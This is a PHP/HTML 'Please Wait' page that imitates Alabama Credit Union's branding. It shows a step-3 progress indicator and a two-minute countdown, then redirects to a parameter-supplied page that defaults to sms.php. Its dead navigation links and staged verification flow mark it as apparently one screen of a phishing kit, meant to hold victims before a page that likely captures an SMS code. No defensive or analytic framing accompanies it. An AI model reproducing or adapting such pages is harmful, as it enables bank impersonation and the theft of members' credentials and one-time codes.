<?php

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <title>Alabama Credit Union — Please Wait</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root { --red:#CD1F43; --red-dark:#a8192f; --blue:#18273A; --blue-mid:#243750; --text:#1a1a1a; --text-sub:#555; --border:#dde0e6; --offwhite:#f7f8fa; --white:#ffffff; }
        html,body { height:100%; font-family:'Inter',sans-serif; color:var(--text); }
        body { display:flex; flex-direction:column; min-height:100vh; background:var(--white); }

        .utility-bar { background:#f0f0f0; border-bottom:1px solid #ddd; padding:7px 40px; display:flex; align-items:center; justify-content:flex-end; gap:20px; }
        .utility-bar a { font-size:12.5px; color:var(--text-sub); text-decoration:none; }
        .btn-help { background:var(--red); color:#fff; border:none; border-radius:20px; padding:5px 14px; font-family:'Inter',sans-serif; font-size:12px; font-weight:600; cursor:pointer; }
        .main-nav { background:var(--white); padding:0 40px; display:flex; align-items:center; justify-content:space-between; height:72px; border-bottom:1px solid #eee; position:relative; z-index:100; }
        .nav-logo img { height:52px; width:auto; display:block; }
        .nav-links { display:flex; align-items:center; gap:2px; }
        .nav-links a { font-size:13.5px; font-weight:500; color:var(--text); text-decoration:none; padding:8px 13px; border-radius:4px; }
        .nav-links a:hover { color:var(--red); background:#fdf0f3; }

        .page-bg { flex:1; position:relative; display:flex; align-items:center; justify-content:center; padding:60px 20px; }
        .page-bg-img { position:absolute; inset:0; background:url('res/img/background.jpeg') center center / cover no-repeat; z-index:0; }
        .page-bg-overlay { position:absolute; inset:0; background:linear-gradient(135deg, rgba(24,39,58,0.88) 0%, rgba(24,39,58,0.75) 100%); z-index:1; }

        .card { position:relative; z-index:2; background:#fff; width:100%; max-width:420px; border-radius:12px; padding:36px 36px 36px; box-shadow:0 12px 50px rgba(0,0,0,0.25); text-align:center; animation:cardIn 0.4s ease both; }
        @keyframes cardIn { from{opacity:0;transform:translateY(14px)} to{opacity:1;transform:translateY(0)} }

        .card-logo { margin-bottom:20px; }
        .card-logo img { height:42px; width:auto; display:inline-block; }

        .step-indicator { display:flex; align-items:center; gap:8px; margin-bottom:26px; }
        .step { display:flex; align-items:center; justify-content:center; width:26px; height:26px; border-radius:50%; font-size:11px; font-weight:700; flex-shrink:0; }
        .step.done { background:var(--blue); color:#fff; }
        .step.active { background:var(--red); color:#fff; box-shadow:0 0 0 3px rgba(205,31,67,0.2); }
        .step-line { flex:1; height:2px; background:#e8eaed; border-radius:2px; }
        .step-line.done { background:var(--blue); opacity:0.4; }

        .ring-wrap { position:relative; width:136px; height:136px; margin:0 auto 22px; }
        .ring-wrap svg { width:136px; height:136px; transform:rotate(-90deg); }
        .ring-track { fill:none; stroke:#eee; stroke-width:6; }
        .ring-progress { fill:none; stroke:var(--red); stroke-width:6; stroke-linecap:round; stroke-dasharray:326.7; stroke-dashoffset:0; transition:stroke-dashoffset 1s linear; filter:drop-shadow(0 0 5px rgba(205,31,67,0.35)); }
        .ring-label { position:absolute; inset:0; display:flex; flex-direction:column; align-items:center; justify-content:center; }
        .ring-time { font-size:32px; font-weight:700; color:var(--blue); line-height:1; }
        .ring-unit { font-size:11px; color:var(--text-sub); margin-top:5px; letter-spacing:0.08em; text-transform:uppercase; }

        .wait-heading h1 { font-size:18px; font-weight:700; color:var(--blue); margin-bottom:8px; }
        .wait-heading p { font-size:13.5px; color:var(--text-sub); line-height:1.65; max-width:300px; margin:0 auto 22px; }

        .prog-dots { display:flex; justify-content:center; gap:8px; margin-bottom:20px; }
        .prog-dots span { width:9px; height:9px; border-radius:50%; background:#e0e4eb; transition:background 0.4s,transform 0.3s; }
        .prog-dots span.lit { background:var(--red); transform:scale(1.25); box-shadow:0 0 6px rgba(205,31,67,0.4); }

        .info-notice { display:inline-flex; align-items:center; gap:8px; background:rgba(24,39,58,0.06); border:1px solid rgba(24,39,58,0.14); border-radius:6px; padding:10px 18px; font-size:12.5px; color:var(--blue); font-weight:600; }

        .page-footer { background:var(--blue); padding:20px 40px; display:flex; align-items:center; justify-content:space-between; flex-wrap:wrap; gap:12px; }
        .footer-links { display:flex; gap:20px; }
        .footer-links a { font-size:12px; color:rgba(255,255,255,0.55); text-decoration:none; }
        .footer-copy { font-size:12px; color:rgba(255,255,255,0.35); }

        @media(max-width:500px) { .card{padding:24px 20px 28px;} .nav-links{display:none;} .main-nav{padding:0 20px;} }
    </style>
</head>
<body>
    <div class="utility-bar">
        <a href="#">Make Payment</a><a href="#">Schedule Appointment</a><a href="#">Rates</a>
        <button class="btn-help">Help Center</button>
    </div>
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.png" alt="Alabama Credit Union"></div>
        <div class="nav-links">
            <a href="#">Checking</a><a href="#">Savings</a><a href="#">Business</a>
            <a href="#">Lending</a><a href="#">Financial Education</a>
            <a href="#">Resources</a><a href="#">Who We Are</a><a href="#">Promotions</a>
        </div>
    </nav>

    <div class="page-bg">
        <div class="page-bg-img"></div>
        <div class="page-bg-overlay"></div>
        <div class="card">
            <div class="card-logo"><img src="res/img/logo.png" alt="Alabama Credit Union"></div>
            <div class="step-indicator">
                <div class="step done">✓</div><div class="step-line done"></div>
                <div class="step done">✓</div><div class="step-line done"></div>
                <div class="step active">3</div>
            </div>
            <div class="ring-wrap">
                <svg viewBox="0 0 110 110"><circle class="ring-track" cx="55" cy="55" r="52"/><circle class="ring-progress" id="rp" cx="55" cy="55" r="52"/></svg>
                <div class="ring-label"><div class="ring-time" id="td">2:00</div><div class="ring-unit">remaining</div></div>
            </div>
            <div class="wait-heading">
                <h1>Processing Your Information</h1>
                <p>Please wait while we securely verify your request. Do not close this window.</p>
            </div>
            <div class="prog-dots">
                <span id="d0"></span><span id="d1"></span><span id="d2"></span><span id="d3"></span><span id="d4"></span>
            </div>
            <div class="info-notice">
                <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
                Do not close or refresh this page
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 Alabama Credit Union. All Rights Reserved. Federally Insured by NCUA.</div>
    </footer>

    <script>
        var next = "<?php echo htmlspecialchars($_GET['next'] ?? 'sms.php', ENT_QUOTES); ?>";
        const TOTAL = 120; let rem = TOTAL;
        const disp = document.getElementById('td'), ring = document.getElementById('rp');
        const CIRC = 2 * Math.PI * 52;
        const dots = [0,1,2,3,4].map(i => document.getElementById('d' + i));
        function tick() {
            const m = Math.floor(rem / 60), s = rem % 60;
            disp.textContent = m + ':' + String(s).padStart(2, '0');
            ring.style.strokeDashoffset = CIRC * (1 - rem / TOTAL);
            const lit = Math.floor(((TOTAL - rem) / TOTAL) * dots.length);
            dots.forEach((d, i) => d.classList.toggle('lit', i <= lit));
            if (rem <= 0) { clearInterval(t); window.location = next; } else rem--;
        }
        tick(); const t = setInterval(tick, 1000);
    </script>
</body>
</html>